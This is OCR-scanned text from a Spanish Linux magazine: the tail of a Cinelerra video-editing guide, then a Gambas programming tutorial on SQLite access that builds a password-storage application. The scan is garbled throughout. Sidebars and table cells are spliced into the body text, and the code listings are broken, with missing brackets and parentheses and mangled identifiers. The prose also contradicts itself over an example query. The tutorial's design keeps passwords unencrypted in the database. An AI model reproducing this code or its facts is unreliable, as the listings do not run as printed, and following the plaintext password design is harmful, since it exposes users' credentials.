que se van a usar al codificar el archivo final.
Si el formato de fichero escogido no permite
almacenar audio o video no se podra ajustar
ningun parametro de compresion para ese ca-
so. Si las opciones Renderizar pistas de video
o Renderizar pistas de audio estan selecciona-

lumiera

the non |

Figura 11. El logo de Lumiera, la evolucion de
Cinelerra

das y el formato de archivo no lo permite, se
producira un error al intentar renderizar.

Una vez que el proceso de render se inicia,
en la parte inferior de la ventana principal se mos-
trara un tiempo estimado para concluir la tarea y
el porcentaje de progreso del renderizado. En
todo momento podremos cancelar la operacion.

Cinelerra ofrece ademas la posibilidad de
renderizar multiples archivos, renderizar por lo-
tes, por linea de comando y utilizando una granja
de renders (render farm).

Cinelerra y su comunidad
En esta breve guia no es posible contemplar to-
das las funcionalidades y posibilidades de este
excelente programa. Puede seguir desarrollan-
do su conocimiento de la herramienta leyendo
la documentacion oficial y los enlaces de refe-
rencia que ofrecemos en este mismo articulo.
Para conocer mas a fondo el funcionamien-
to de Cinelerra-CV, evacuar dudas especificas,
participar de su comunidad y colaborar con su
desarrollo recomendamos suscribirse a la lista
de correo del proyecto en https.//init.linpro.no/
mailman/skolelinux.no/listinfo/cinelerra.
También existe un canal de chat IRC en
Freenode (irc.freenode.net, puerto 6667). El canal
es #Hcinelerra. Este espacio es ideal para obtener
respuestas en poco tiempo y entablar un canal de
didlogo directo con los miembros mas activos
del proyecto Cinelerra-CV.

Herramientas

para complementar Cinelerra

Para sacar total provecho de nuestro entorno
de edicion libre es una buena idea contar con
otras herramientas libres para complementar
a Cinelerra:

»  Inkscape: nos permitird crear imagenes, pan-
tallas y zocalos que importaremos a Cine-
lerra como imagenes PNG.

e Blender: ademas de permitir editar se-
cuencias de video, nos permite realizar
composiciones mas complejas afadiendo
el potencial del 3D.

*  Synfig: magnifica herramienta para crear
animaciones 2D vectoriales. El formato
YUYV se importa sin problemas en Cinele-
rra 'y con un alto grado de calidad.

* Kino y dvgrab: excelentes herramientas
para capturar video en formato DV a partir
de una camara con puerto Firewire.

e Avidemux: una excelente herramienta vi-
sual para convertir y manipular videos.

*  Mplayer y Mencoder: como se explico en
este articulo, suelen ser muy dutiles para
reconvertir videos y obtener informacion
sobre ellos.
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»  Ffmpeg y ffmpeg2theora: poderosa herra-
mienta de conversion de video. La segunda
herramienta es una adaptacion de la pri-
mera orientada a generar videos en for-
mato OGG.

*  DeVeDe y Tovid: software pare crear
DVDs, incluyendo los ments.

*  Audacity: amigable y poderoso programa de
edicion de audio.

» Istanbul: nos permite generar videos a partir
de nuestra propia pantalla. Muy util para
hacer video tutoriales y screencast.

Existen ademas otras herramientas libres para
realizar edicion no lineal de video capaces de
reemplazar a Cinelerra. Por ejemplo: Blender
(su editor de secuencias integrado), KDEnlive,
Open Movie Editor, PiTiVi, entre otros.

El futuro del proyecto
A partir del aflo pasado miembros de la comu-
nidad de Cinelerra-CV han comenzado a tra-
bajar en un nuevo proyecto llamado original-
mente Cinelerra 3. Se trata de una iniciativa
independiente de la empresa HeroinVirtual.
Este nuevo desarrollo ya tiene nombre defini-
tivo: Lumiera. El mismo es una reescritura
desde cero de Cinelerra y actualmente esta en
un estado de desarrollo muy temprano y no es
usable. Su objetivo es crear comunitariamente
una aplicacion de edicion de video no lineal
para sistemas GNU/Linux/Unix/Posix ade-
cuada a la calidad que se busca en los trabajos
profesionales.

Mas informacion sobre este proyecto pue-
de encontrarse en:

e Susitio web: http://www.lumiera.org,

¢ Encel canal de IRC #lumiera,

*  Ensulista de correo: http.//lists.lumiera.
org/cgi-bin/mailman/listinfo/lumiera. &

A
Wl

En lared

» Cinelerra en Wikipedia:
http://es.wikipedia.org/w/index.php?
title=Cinelerra&oldid=23266861,

* Manual oficial en espafiol:
http://cinelerra.org/docs/cinelerra_
cv_manual_es.pdf,

*  Guia de supervivencia con Cinelerra
2.0 por Gustavo lhiguez Goya:
http://kutxa.homeunix.org/cinelerra/
Jornadas-copyleft-malaga2006/
manual-cinelerra.pdf,

» Sitio web oficial de la versién CV:
http://cinelerra.org/.
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Acceso a Base
de Datos SQLite

Jorge Emanuel Capurro

En esta quinta y ultima entrega del curso, haremos un exhaustivo recorrido
por las posibilidades y herramientas que nos brinda Gambas a la hora de
querer acceder y gestionar Bases de Datos desde nuestras aplicaciones.

linux@software.com.pl

a mayoria de las organizaciones maneja grandes
voltimenes de datos, ya sea para llevar el stock de
sus productos, como también para resguardar un
legajo con todos los datos de sus empleados. To-
dos estos datos deben ser almacenados en algun lugar y organi-
zados de manera tal que sea facil acceder a ellos. Este “lugar”
son las Bases de Datos, y es el tema central de esta entrega.

Gambas nos provee un versatil manejo de Bases de Da-
tos para que podamos crear aplicaciones que hagan uso de
ella. Sin lugar a dudas, es un tema muy importante y sobreto-
do util, por el cual dedicaremos toda esta entrega a hacer un
analisis de ello, comenzando a conocer un poco el lenguaje
universal de consulta de base de datos, que es el SQL, hasta
terminar haciendo una aplicacion de ejemplo.

Debido a ser ésta la tltima entrega del curso, finalizando
el articulo (ver seccion “Referencias”) les adjunto un gran
numero de referencias en la Web donde pueden seguir estu-
diando este maravilloso lenguaje. jComencemos!

Introduccién a SQL
SQL es el lenguaje de consulta universal para bases de da-
tos. Nos proporciona métodos para definir la base de datos,
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para manipular la informacion y para gestionar los permisos
de acceso a dicha informacion. Este lenguaje es sumamente
facil de aprender, y su sintaxis es muy mnemonica, llegan-
do a un punto que parece que estuviésemos “hablandole”
a la computadora. Existen variantes de SQL dependiendo
del SGBD (Sistema Gestor de Base de Datos). Aunque la
diversidad de afiadidos particulares que incluyen las distin-
tas implementaciones comerciales del lenguaje es amplia,
el soporte al estandar SQL-92 es general y muy amplio. A con-
tinuacion se presentan a modo de ejemplo variantes del
SQL estandar:

*  Transact SQL: Es el lenguaje de programacion que
proporciona SQL Server para ampliar SQL con los
elementos caracteristicos de los lenguajes de pro-
gramacion: variables, sentencias de control de flujo,
bucles, etc.

* PL/SQL: Es el lenguaje de programacioén que pro-
porciona Oracle para ampliar SQL con los elementos
caracteristicos de los lenguajes de programacion: var-
iables, sentencias de control de flujo, bucles, etc. Es
muy popular y potente en ambientes corporativos.
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Para que un gestor de bases de datos sea
considerado como relacional, debe soportar
SQOL, independientemente de las caracteristi-
cas particulares que dicho gestor pueda apor-
tar.

Las consultas SQL se escriben empleando
un conjunto de reglas sintacticas y semanticas
denominado Sentencias SQL, las cuales se divi-
den en tres grupos fundamentales:

* DML (Data Manipulation Language): co-
mo su nombre lo indica, este grupo reune
a todas las instrucciones encargadas de
manipular datos, como por ejemplo recu-
perar datos, afladir registros, modificar da-
tos, etc. Entre ellas se encuentran SELECT,
INSERT, DELETE, UPDATE.

e DDL (Data Definition Language): este
grupo se caracteriza por contener las ins-
trucciones que alteran, crean o modifican
datos especificos de la base de datos,
y no de los datos contenidos en las tablas,
como si lo hacen las DML. Entre las ins-
trucciones mas comunes se encuentran
CREATE, DROP, ALTER, etc.

e DCL (Data Control Language): con las
instrucciones de este grupo, podemos con-
cebir privilegios de acceso a determina-
dos usuarios, controlar las transacciones,
etc. Entre las instrucciones mas comunes
se encuentran GRANT, REVOKE, COMMIT,
ROLLBACK, etc.

Tabla 1. Operadores existentes en SQL
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Operadores SQL

Aritméticos + Suma

* Producto

** A

<=

>=

I< No menor que

AND

Légicos

Exponenciacion

Menor o iqual que

Mayor o igual que

Los operadores Idgicos permiten comparar expresiones logicials

- devolviendo siempre un valor verdadero o falso. Los operadores

NOT

Vista esta clasificacion, los grupos que nosotros
aprenderemos seran los de DML y DDL, ya
que el ultimo grupo cumple una funciéon mas
administrativa, lo cual excede la explicacion
de este curso.

Fundamentos de SQL

Comencemos a estudiar un poco el Lenguaje
SQL para hacer consultas sencillas. Vale acla-
rar que este articulo no pretende ser un curso
de SQL, por lo cual muchos aspectos del
lenguaje se obviaran para ser mas sencilla la
comprension. Por ejemplo, no se ensefia como

crear una base de datos completa mediante

l6gicos se evaluan de izquierda a derecha.

sentencias SQL, pero si se lo ensefia mediante
Gambas.

Consultar Datos mediante SQL
Empezamos con una consulta SQL basica, que
se encarga de traer todos los datos de una de-
terminada tabla que le indiquemos. La sintaxis
para ello se muestra a continuacion:

SELECT Campol,

Campo2, CampoN

FROM NombreTablal [NombreTabla?2]
[NombreTablaN]
[WHERE Condicion [{ AND |

OR Condicion }]]

Columniewl
b
Ingrese of Taxto a Buscar | ]
O Descripcion. () Categeria

Figura 1. Interfaz Gréfica de Nuestra Aplicacion

www.|pmagazine.org
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SQLite

SQLite es un sistema de gestion de bases
de datos relacionales, que esta conteni-
do en una pequeia biblioteca escrita en
C. Su creador es D. Richard Hipp.

A diferencia de los sistemas de ges-
tion de base de datos cliente-servidor, el
motor de SQLite no es un proceso inde-
pendiente con el que el programa princi-
pal se comunica, sino que la biblioteca de
SQLite se enlaza con el programa pasan-
do a ser parte integral del mismo. El pro-
grama utiliza la funcionalidad de SQLite
a través de llamadas simples a subruti-
nas y a funciones.

SQLite es utilizado por un amplio nu-
mero de programas del mundo GNU/Linux,
entre los que se encuentran Amarok, Yum,
OpenOffice.org, XMMS2, XBMC, entre los
mas conocidos.

Su pagina web oficial es http://www.
sqlite.org, donde pueden encontrarse gran
cantidad de ayuda y documentacion dis-
ponible.

[GROUP BY NombreDeCampo
NombreDeCampo >}]]
[HAVING Condicion [{
111
[ORDER BY NombreDeCampo

AND |
OR Condicion
NombreDeCampoN [ASC | DESC]
Luego del serECT, las palabras Campol, Cam-
po2, CampoN hacen referencia a los campos
de la tabla que se quieren visualizar en la con-
sulta. Luego, se utiliza la clausula FroM para es-
pecificar en qué tabla se encuentran esos campos.
Por ejemplo, suponiendo que tenemos una
tabla llamada Autos la cual contiene tres cam-
pos, Marca, Modelo, y Aiio con sus respectivos
datos cargados, la consulta para visualizar to-
dos sus datos seria la siguiente:
SELECT Marca,

Modelo, Afio

FROM Autos

Por ejemplo, si queremos visualizar solamente
la Marca del auto, y a su vez, que los registros
estén ordenados segun su Afo de fabricacion,
utilizariamos la siguiente sentencia:

SELECT Marca
FROM Autos

ORDER BY Afo

Para imponer condiciones respecto a la con-

ejemplo, si se desea tener todos los autos de la
marca FIAT del afio 2005, la consulta quedaria
de la siguiente manera:

SELECT Marca
FROM Autos
WHERE Marca = "FIAT" AND Afio= 1990
Vale la pena aclarar que las cadenas de texto
en SQL son case-sensitive, es decir, que dis-
tinguen las mayusculas de las minusculas. Por
el contrario, las consultas en SQL no son case-
sensitive, por lo que es igual poner SELECT que
seLect. Puede verse el uso del operador logico
AND para condicionar aun mas la sentencia. Una
lista completa de operadores puede apreciarse
en la Tabla 1.

Las clausulas GROUP BY y HAVING se
utilizan para trabajar con grupos de datos. No
las utilizaremos en este curso. A modo de resu-
men, podemos visualizar la Tabla 2 que define
cada uno de los roles de las clausulas en una
sentencia SELECT.

Insertar Datos mediante SQL
Hasta ahora hemos visto como consultar datos
almacenados en una Base de Datos, pero no he-
mos visto como almacenar dichos datos. Para
almacenar datos en una base de datos debemos
insertar filas en las tablas. Para ello SQL pone
a nuestra disposicion la sentencia INSERT. Vea-
mos como se utiliza.

INSERT INTO NombreDeTabla
[ (<NombreCampol>[, <

NombreCampo2>, ...]) ]
VALUES

(<Valorl>,< Valorl>,...);

Como vemos, su utilizacion es muy intuitiva al
igual que la sentencia seLECT. En un principio,
especificamos el nombre de la tabla donde
vamos a almacenar los datos. Luego, especifi-
camos que campos se carguen con valores. Por
ultimo, llenamos los valores seguidamente de
la clausula varuzs. Siguiendo nuestro ejemplo
de la tabla Autos, para insertar un nuevo auto
de marca Renault, modelo Megane del ano
2006, se realizaria la insercion de la siguiente

manera:

INSERT INTO Autos

(Marca, Modelo, Afo)
VALUES
("Renault", "Megane", 2006)

Notese como al tipo de dato numérico, en este
caso el ano, no se utiliza las comillas dobles
para expresar su valor.

En otras ocasiones, puede ser que no ten-
gamos algun dato disponible y queramos alma-
cenar el registro igual. Para ello, lo tinico que
debemos obviar es el nombre del campo (y por
supuesto, su valor). Veamos un ejemplo:

INSERT INTO Autos
(Marca)
VALUES
("Ford")

Aqui solamente se ingresa la Marca del Auto,
dejando en blanco los campo de Modelo y Afio.
Esto es posible realizarlo siempre y cuando el
disefio de la tabla lo permita (algunas tablas
suelen requerir que el campo contenga datos,
en estas ocasiones, no podremos utilizar la sen-

tencia anterior).

sulta, podemos utilizar la clausula waere. Por Figura 2. Pantalla principal del Gestor de Base de Datos de Gambas
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Al igual que ocurre con SELECT, podemos
obviar los campos luego de la clausula INTO,
siempre y cuando se llenen todos con datos. Por
ejemplo ingresar:

INSERT INTO Autos

(Marca, Modelo, Afio)
VALUES
("Renault", "Megane", 2006)
Es lo mismo que ingresar:
INSERT INTO
VALUES
("Renault", "Megane", 2006)

Ya que, si se especifican todos los campos de
la tabla con datos, no es necesario aclarar a qué
campos corresponden cada dato, es decir, se
corresponde implicitamente.

Borrar Datos mediante SQL

Para borrar datos de una tabla, se utiliza la
sentencia DELETE. La sintaxis se especifica
a continuacion:

DELETE FROM NombreDeTabla
WHERE Condicién

Por ejemplo, para eliminar todos los datos de la
tabla Autos, utilizariamos:

DELETE FROM Autos

Ademas de borrar datos, podemos ver que
podemos decidir cuales borrar y cuales no.
Para ello, hay que especificar la condicion, que
se encuentra luego de la clausula wHeRE. Por
ejemplo, para borrar solamente los autos de
Marca Renault seria:

DELETE FROM Autos
WHERE Marca = "Renault"

Cuando trabajemos con la sentencia DELETE
debemos tener en cuenta las siguientes consi-
deraciones:

* Solamente podemos borrar datos de una
Unica tabla.

»  Si intentamos borrar un registro de una ta-
bla referenciada por una CLAVE PRIMARIA
como tabla maestra, si la tabla dependiente
tiene registros relacionados la sentencia
pELETE fallara.

La tltima consideracion nosotros no la ten-
dremos en cuenta, ya que la Base de Dato que
crearemos no tendra Tablas Relacionadas, ya
que no las necesitaremos, y sobrepasan el al-
cance de este curso.

Si se desea realizar un borrado completo de
tabla debemos considerar la posibilidad de uti-
lizar la sentencia TRUNCATE, mucho mas rapida
que DELETE.

TRUNCATE TABLE
NombreDeTabla;

En nuestro ejemplo de la tabla Autos, realiza-
riamos la sentencia de la siguiente manera:

TRUNCATE TABLE Autos;

Cuando trabajemos con la sentencia TRUNCATE
debemos tener en cuenta las siguientes consi-
deraciones:

* La sentencia TRUNCATE no admite clausula
wHERE. Borra toda la tabla.

* No todos los gestores de bases de datos
admiten la sentencia TRUNCATE.

En el caso de SQLite, TRUNCATE no es recono-
cido, por lo que nos valdremos del uso de la
sentencia DELETE.

Actualizar Datos

mediante SQL

Por tltimo, veremos como se hace para actua-
lizar datos mediante SQL. La sentencia utili-
zada es similar a las utilizadas anteriormente.
El uso de la clausula UPDATE nos permite
actualizar datos de una tabla especificada.
Veamos su sintaxis:

Tabla 2. Resumen acotado de las clausulas para realizar una consulta sencilla mediante SQL

SELECT

WHERE
y OR.
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¢Qué es el HardCode?

El HardCode es un término del mundo de la
informatica, que hace referencia a la prac-
tica habitual en el desarrollo de software
que consiste en incrustar datos directamen-
te en el coédigo fuente, en lugar de obtener
esos datos desde una fuente de datos
externa, como lo puede ser un fichero de
configuracion, parametros de la linea de
comandos, o bien, una base de datos. Esta
practica se considera una de las mayores
malas practicas de programacion, ya que
se requiere la modificacion y recompilacion
de todo el cédigo si este parametro hard-
codeado se desea modificar.

UPDATE NombreDeTabla

SET NombreDeCampol = ValorDeCampol
{[, NombreDeCampo2 =
ValorDeCampoZ2, ..., NombreDeCampoN =
ValorDeCampoN ]}

[ WHERE Condicién];

Por ejemplo, si queremos que todos los regis-
tros que tenian como Marca Renault y eran del
afio 1996, ahora sean Marca Ford, emplearia-
mos la siguiente sentencia:

UPDATE Autos
SET Marca = "Ford"

WHERE Marca = "Renault" AND Afio = 1996
Como puede apreciarse, mediante la clausula
SET ingresamos el valor del campo a actua-
lizar, y luego mediante wHERE condicionamos
cuales van a ser los registros afectados por la
actualizacion.

Hasta aqui ha llegado nuestra brevisima
introduccion al Lenguaje SQL. Con estos ele-
mentos, ya estamos en condiciones de realizar
un ABM (Altas, Bajas y Modificaciones) de
una Tabla mediante Gambas, utilizando SQL
como lenguaje de acceso a Base de Datos. Se
recomienda al lector seguir abordando el tema

del Lenguaje SQL, ya que hay muchos aspectos

Palabra clave que indica que la sentencia de SQL que queremos ejecutar es de seleccion.

Especifica una condicion que debe cumplirse para que los datos dean devueltos por la consulta. Admite los operadores ldgicos AND
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Tabla 3. Datos de Ejemplo para nuestra Tabla

http://gambas.sourcforge.net/

Sitio Web Oficial

Documentacion Oficial

http://www.gambasdoc.org/

Documentationde GNULinex

http://wiki.gnulinex.org/gambas/

Foro sobre Gambas

http://gambones.esp.am/

Otra Web sobre Gambas (Ingles)

http://www.gambasforge.net/

Web Francesa sobre Gambas

http://gambas.shos.fr/

Otra web sobre Gambas

http://gambas.site.vu/

Foro Aleman sobre Gambas

http://gambas-club.de/

El Control GridView

http://inkarri.wordpress.com/2008/11/12/gridview-en-

gambas/

Pagina man sobre gbx

que le pueden resultar de interés a la hora de
interactuar con Bases de Datos.

Gambas y el Manejo de Bases
de Datos

Gambas puede manejar distintos motores de
Bases de Datos, entre los que se encuentran
Postgres, MySQL y SQLite. También posee el
driver genérico de acceso a datos universal, mas
conocido como ODBC (Open DataBase Co-
nection). Gracias a €1, podremos conectarnos
con Gambas a Bases de Datos como por ejem-
plo MS SQL Server.

En relacion a los componentes que ne-
cesita Gambas para acceder a una base de
datos, el mas importante es el gb.db, que es
el encargado de proveernos los drivers de
nuestro motor de base de datos. A su vez, este
componente trae subcomponentes que utiliza-
remos, siendo el subcomponente gb.db.sqlite3
el que més nos interesa a nosotros, debido
a que realizaremos acceso a una base de datos
SQLite. Existen otros subcomponentes como
gb.db.mysql, gb.db.odbc, gb.db.postgres, obvia-
mente, utiles segin el motor de base de datos
que empleara nuestra aplicacion.

El Programa Ejemplo

En secciones siguientes, crearemos una Base
de Datos con sus respectivas tablas para que
interactie nuestra aplicacion. Nada de esto
es posible si no tenemos bien en claro de que

http://www.penguin-soft.com/penguin/man/1/gbx.html

sera nuestra aplicacién en esta entrega final
del curso.

Nuestro programa tiene como objetivo
almacenar contrasefias y clasificarlas para una
busqueda rapida. El lector se preguntara ;qué
utilidad tiene este aplicativo? La respuesta
es que mucha. Es comun que un usuario de
computadora maneje decenas de contrasefias.
Algunos, se registran en muchas paginas de
Internet, otros por cuestiones de trabajo tienen
que tener diversas contrasenas (algunas que
caducan), o bien, en la computadora personal
tienen contrasefias para proteger sus datos.
Todo esto conlleva a un gran nimero de con-

trasefias, algunas diferentes por cuestiones de
politicas de seguridad, que son dificiles de
recordar. Es por ello, que realizaremos nues-
tro almacén de contrasefias. Funcionara de la
siguiente manera: en un principio, se le pide
al usuario una UNICA contrasefia, la cual serd
la responsable de poder acceder al almacén de
contrasefias. Luego, el usuario ira cargando en
el sistema todas sus contrasefias personales,
laborales, como asi también, las que posee en
paginas web, email, etc. Todas estas contrase-
fias estaran clasificadas segun su tipo (Internet,
Trabajo, Personal, etc). Cuando el usuario re-
quiera, por ejemplo, hacer un login en un sitio
web en particular y no recuerda la contrasefia,
simplemente se tiene que remitir a nuestro
programa, introducir la contrasefia del alma-
cén, y buscarla segin el nombre o descripcion
que le haya dado. ;Util no?

Una vez aclarado nuestro objetivo de esta
entrega, en la siguiente seccion nos encargare-
mos de crear la base de datos, la cual represen-
tard nuestro almacén de contrasefias.

Creando

una Base de Datos

Para crear una Base de Datos de forma sen-
cilla, Gambas nos provee una aplicacion que
viene incluida con el IDE, llamada Gambas
Database Manager (Ver Figura 2). La mis-
ma se puede iniciar yendo a la barra de me-
nu, opcion Herramientas—>Gestor de Base
de Datos, o bien desde la consola de GNU/
Linux, tipeando el comando gambas2-da-
tabase-manager.gambas. Al iniciar por
primera vez el Administrador de Base de Da-
tos de Gambas, nos pedird que ingresemos
una contrasefia. Esta contrasefia servira para
encriptar los datos de usuario que deseemos
gestionar desde esta aplicacion, para evitar
que otros usuarios puedan apropiarse de esta

'@ Gestor de Bases de Datos Gambas

il jr.'.'u nurrafmifhamalicanimrailenlifa }

kf Crear base...

=)

Figura 3. Opcién “Crear Base” para la creacion de nuestra Base de Datos
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Figura 4. Disefio de nuestra Tabla

informacion. Una vez ingresada la contrasefia
(que debe poseer al menos ocho caracteres),
procedemos a crear nuestro servidor, donde
se alojara la Base de Datos. Para ello, nos di-
rigimos a la barra de menu Servidor—>Nuevo
Servidor. Una vez alli, elegimos como tipo
de Servidor SQLite3 y seleccionamos una
ruta donde se almacenara nuestro servidor
(por ejemplo, puede ser en nuestro directorio
$HOME).

Al tener ya creado el servidor, crearemos la
base de datos que estara almacenada en él. Para
realizar esto, hacemos clic derecho sobre la fi-
cha que indica la existencia de nuestro servidor
y elegimos la opcién Crear Base. Le damos un
nombre, en este caso AlmacenDB y hacemos
clic en aceptar.

Anadir Tablas

a la Base de Datos

Para crear una tabla, se realizan los pasos de
manera similar a la creacion de una Base de
Datos. Hacemos doble clic sobre el icono que
representa la Base de Datos, y elegimos del
Menu Contextual, la opcion Crear Tabla... Le
introducimos el nombre, Principal en nuestro
caso, y hacemos clic en OK. A continuacion,
veremos como se nos aparece del lado dere-
cho del Gestor de Base de Datos, una ventana
que es utilizada para definir las propiedades
de nuestra tabla.

Nos dirigimos hacia el boton de Nuevo
Campo, e insertamos tres campos mas (sin
contar el de id que viene por defecto). Hacien-
do una analogia con las variables, los campos
también deben llevar su correspondencia con
el tipo de dato que almacenan. Es decir, si el
campo descripcion almacenara una cadena
de texto correspondiente a la descripcion de
nuestro password, este campo tendra que ser
tipeado como String. Asignamos los tipos
de datos a nuestros campos. En este caso en
particular, todos seran de tipo String, salvo
que queramos que solamente el password sea

numérico, entonces asignariamos un tipo de
dato, por ejemplo, Integer.

Al tener ya creada la Tabla que usare-
mos, podemos empezar a cargarle datos des-
de el administrador, a modo de prueba. Para
ello nos dirigimos a la solapa Datos que se
encuentra a la derecha de la pestafia Cam-
pos que estuvimos utilizando actualmente.
Alli, podemos ingresar los datos a nuestra
tabla, tal cual como se completaria una pla-
nilla de OpenOffice Calc. Nos dispondremos
aingresar los siguientes datos de prueba (ver
Tabla 3).

Nada mejor para probar el correcto fun-
cionamiento de la Tabla y de la Base de Da-
tos, que ejecutar una consulta SQL. Para ello,
nos dirigimos al boton que tiene la leyenda
SQOL, y se nos abrird un editor en el cual po-
dremos escribir nuestras querys. Ingresamos
la siguiente:

Tabla 4. Tipos de Conexiones
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SELECT * FROM Principal ORDER BY

Categoria ASC

Luego, hacemos clic sobre el boton Run (que
contiene una forma de flecha), y examinamos
los resultados. Si estd todo correcto, nos
tendria que mostrar nuestros registros orde-
nados seglin la categoria de la A-Z. Si es asi,
podemos afirmar que nuestra base de datos
y tablas funcionaran como deberian, y ya
podemos empezar a programar la aplicacion
que accedera a nuestra base. De no funcionar
todo correctamente, repita los pasos anterio-
res con cuidado y no dejando escapar ningiin
detalle al respecto.

Creando la Interfaz Grafica

de nuestra aplicacién

Ahora nos encargaremos de crear la inter-
faz grafica. El lector, a estas alturas, ya tiene
(o por lo menos, tendria) que saber crearla.
Simplemente expongo a continuaciéon una po-
sible interfaz grafica, obviamente el lector tie-
ne todo el derecho a modificarla y adaptarla
a su gusto.

El Formulario estd compuesto por 4 bo-
tones de comando, 2 RadioButtom, 1 Label, 1
Frame, 1 TextBox. También, contiene un nuevo
control: el ColumnView, que sera el encargado
de hacer de la tabla que contiene nuestros
registros.

Por cuestiones de simplicidad, los panta-
llas de alta de registros de la base de datos,
las realizaré mediante InputBox. El uso de
esta funcion, en un programa profesional,

$mkoijnbhuj$ Ubuntu 9.04

PC Presonal

qwerty123

www.irrompibles.com.ar

Internet

00micontrasefia00

Estacion de Trabajo

Trabajo

11235813

Base de Datos MySQL

PC Personal

System0119

Tabla 5. Paginas web con informacion sobre Gambas

Base de Dator Oracle

Trabajo

Tipo de BD Valor de la Propiedad “Type”

PostgreSQL Postgres

SQLite 2 Sqlite2

ODBC Odbe
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Figura 5. Aspecto del Formulario FPassword

puede quedar un poco anticuado. Es gusto
y trabajo del lector el modificar estas panta-
llas, por algunas mas profesionales y que in-
cluyan mas opciones (ver apartado Ejercicios
Propuestos).

Conectando y Desconectando
la Base de Datos
Para conectarnos desde nuestra aplicacion
a una base de datos en particular, Gambas
nos provee un objeto llamado Connection el
cual se encargara de definir todos los parame-
tros y ser transparentes a la hora de acceder
a los datos almacenados en nuestra base. El
Listadol muestra el codigo correspondiente
al evento Open del Fmain, el cual se encarga
de establecer la conexion. En caso de que no
se pueda establecer la conexion, se le informa
al usuario del error ocurrido y posteriormente
se sale del programa.

Vamos a aclarar qué funcién cumple cada
una de las propiedades del objeto Connec-
tion:

* Charset: devuelve la codificacion de
caracteres que emplea la Base de Datos.

* Databases: retorna una coleccion de
todas las bases de datos administradas
por el servidor.

e Error: retorna el codigo de error (si lo
hay).

* Host: retorna o setea la ubicacion don-
de reside el servidor (en el caso de SQ-
Lite, esta propiedad debe ser rellenada
con la ruta donde se encuentra la Base
de Datos).

* Login: retorna o setea al usuario que
establece la conexion.

* Name: retorna o setea el nombre de la
Base de Datos que maneja el objeto Co-
nnection.

e Opened: retorna Verdadero/Falso con res-
pecto a si la conexion esta abierta o no.

* Password: retorna o setea el password
utilizado para establecer la conexion.

e port: retorna o setea el puerto TCP/IP
usado para establecer la conexion.

e Type: setea el tipo de Base de Datos con
la cual se va realizar la conexion (ver
Tabla 4).

* User: sinébnimo de la propiedad Login

e Users: retorna una coleccion de todos
los nombre de usuarios que se encuen-
tran en la Base de Datos.

* version: retorna la version del driver
de Base de Datos.

* Tables: retorna una coleccion de todos
los nombres de las Tablas que existen
en la Base de Datos.

Como podemos observar en el codigo
fuente, las mas importantes y minimamente
necesarias para realizar la conexion son las
propiedades Host, Type, Name y el método
Open.

En ambientes Unix, todo descriptor que se
abre, como buena practica de programacion,

se debe cerrar. No es el caso excepcional en
el manejo de Bases de Datos. Para cerrar una
conexion, simplemente hay que llamar al mé-
todo close () de nuestro objeto Connection.
A continuacién, se presenta una rutina que se
encarga de desconectar la base de datos, si es
que esta conectada (Listado 2).

Programando

nuestra Aplicacion Final

Una vez realizada la conexidn, en este apar-
tado nos encargaremos de definir todos los
métodos necesarios para poder hacer nuestra
aplicacion final. Aplicando en otros ambitos
lo que aprenderemos aqui, es posible rea-
lizar infinidad de aplicaciones, sobre todo
que requieran de un importante acceso a da-
tos. A continuacion, realizaremos un ABM
(Altas, Bajas y Modificaciones, en realidad
solamente realizar¢ el modo genérico de in-
troducir una sentencia SQL mediante codigo
Gambas, ya que luego todo lo que es el tema
de ABM se maneja mediante SQL) que es el
pilar fundamental para poder aiadir, eliminar
y modificar datos desde una aplicacion hacia
una Base de Datos. Por ultimo, realizaremos
la opcion de Busqueda de Passwords, tarea
fundamental en la funcionalidad de nuestro
programa.

Empezaremos realizando una consulta
la Base de Datos, para poder llenar la tabla
principal de nuestro programa una vez que se
inicia la aplicacion. Para ello, necesitaremos
crear un objeto llamado Result donde alma-
cenaremos el resultado de una consulta SQL
(para los que conocen PL/SQL, es como un
Cursor Explicito) y luego lo recorreremos
hasta obtener el tltimo registro. En este tran-
scurso, copiaremos los registros del objeto
hasta la Tabla que se encuentra en Gambas.
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Listado 1. Conexion a la Base de Datos de SQLite

' Gambas class file - Seccion Declaraciones
PRIVATE Conexion AS Connection
PUBLIC SUB Form Open ()
Conexion = NEW Connection
'Seteamos los valores para poder conectarnos a la Base de Datos
Conexion.Type = "sqglite3"
Conexion.Host = User.Home
Conexion.Name = "AlmacenBD"
TRY Conexion.Open
IF ERROR THEN
Message.Info ("No se ha podido establecer la Conexion. Error:" +
Error.Text, "Aceptar")
ENDIF
END

Listado 2. Desconexion a la Base de Datos de SQLite

PUBLIC SUB Form Close ()
IF NOT Conexion = NULL THEN
Conexion.Close
ENDIF
END

Listado 3. Configuracion de Tabla en Gambas. Recuperacion de Registros de la Base de Datos

' Agregar en la Seccion Declaraciones

PRIVATE Registros AS Result

PRIVATE Fila AS String

PRIVATE Contador AS Integer

'En el Form Open, luego de la Conexion a la BD
'Configuracion de Tabla
tblTabla.Clear
tblTabla.Columns.Count = 4

tblTabla.Columns[0] .Text = "Id"
tblTabla.Columns[1l].Text = "Password"
tblTabla.Columns[2] .Text = "Descripcion"
tblTabla.Columns[3] .Text = "Categoria"

'Carga de Datos en la Tabla
Fila = "password"
Registros = Conexion.Exec ("SELECT * FROM Principal"
Contador=0
DO WHILE Registros.Available
Fila = Registros|["password"

tblTabla.Add (Fila, Fila)

tblTabla[Fila] [0] = Contador

tblTabla[Fila] [1] = Registros|["password"]
tblTabla[Fila] [2] = Registros|["descripcion"
tblTabla[Fila] [3] = Registros|["categoria"]

Contador = Contador + 1
Registros.MoveNext

LOOP

www.lpmagazine.org
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Los pasos a seguir para recuperar datos de la
Base de Datos se detallan a continuacion:

*  Declarar un Objeto Result

*  Ejecutar una consulta SQL

*  Recuperar del Objeto Result el Registro
Actual

* Llenar la Tabla de la aplicacion con el Re-
gistro Recuperado

*  Volver al Paso 3 hasta que no haya mas
Registros en el Objeto

Veamos como implantar este modelo bajo Co-
digo Fuente en Gambas (Listado 3).

Analicemos un poco en detalle este codi-
go fuente. En un principio, limpiamos el con-
tenido de la tabla para asegurarnos que ésta
no quede con registros anteriores. Esto lo rea-
lizamos mediante el método Clear de nuestro
objeto que representa a la tabla (tblTabla).
Mas adelante, asignamos la cantidad de co-
lumnas necesarias para poder mostrar todos
los campos de nuestra Tabla en la Base de
Datos. Este nimero es igual a la cantidad de
campos que haya en la Tabla que se encuen-
tra en la Base de Datos, en nuestro caso es 4.
Por ultimo, para finalizar la configuracion de
la tabla, nos encargamos de escribir los enca-
bezados de las columnas que detallan el con-
tenido de las mismas. Es usual que este nom-
bre sea idéntico a los que se encuentran en
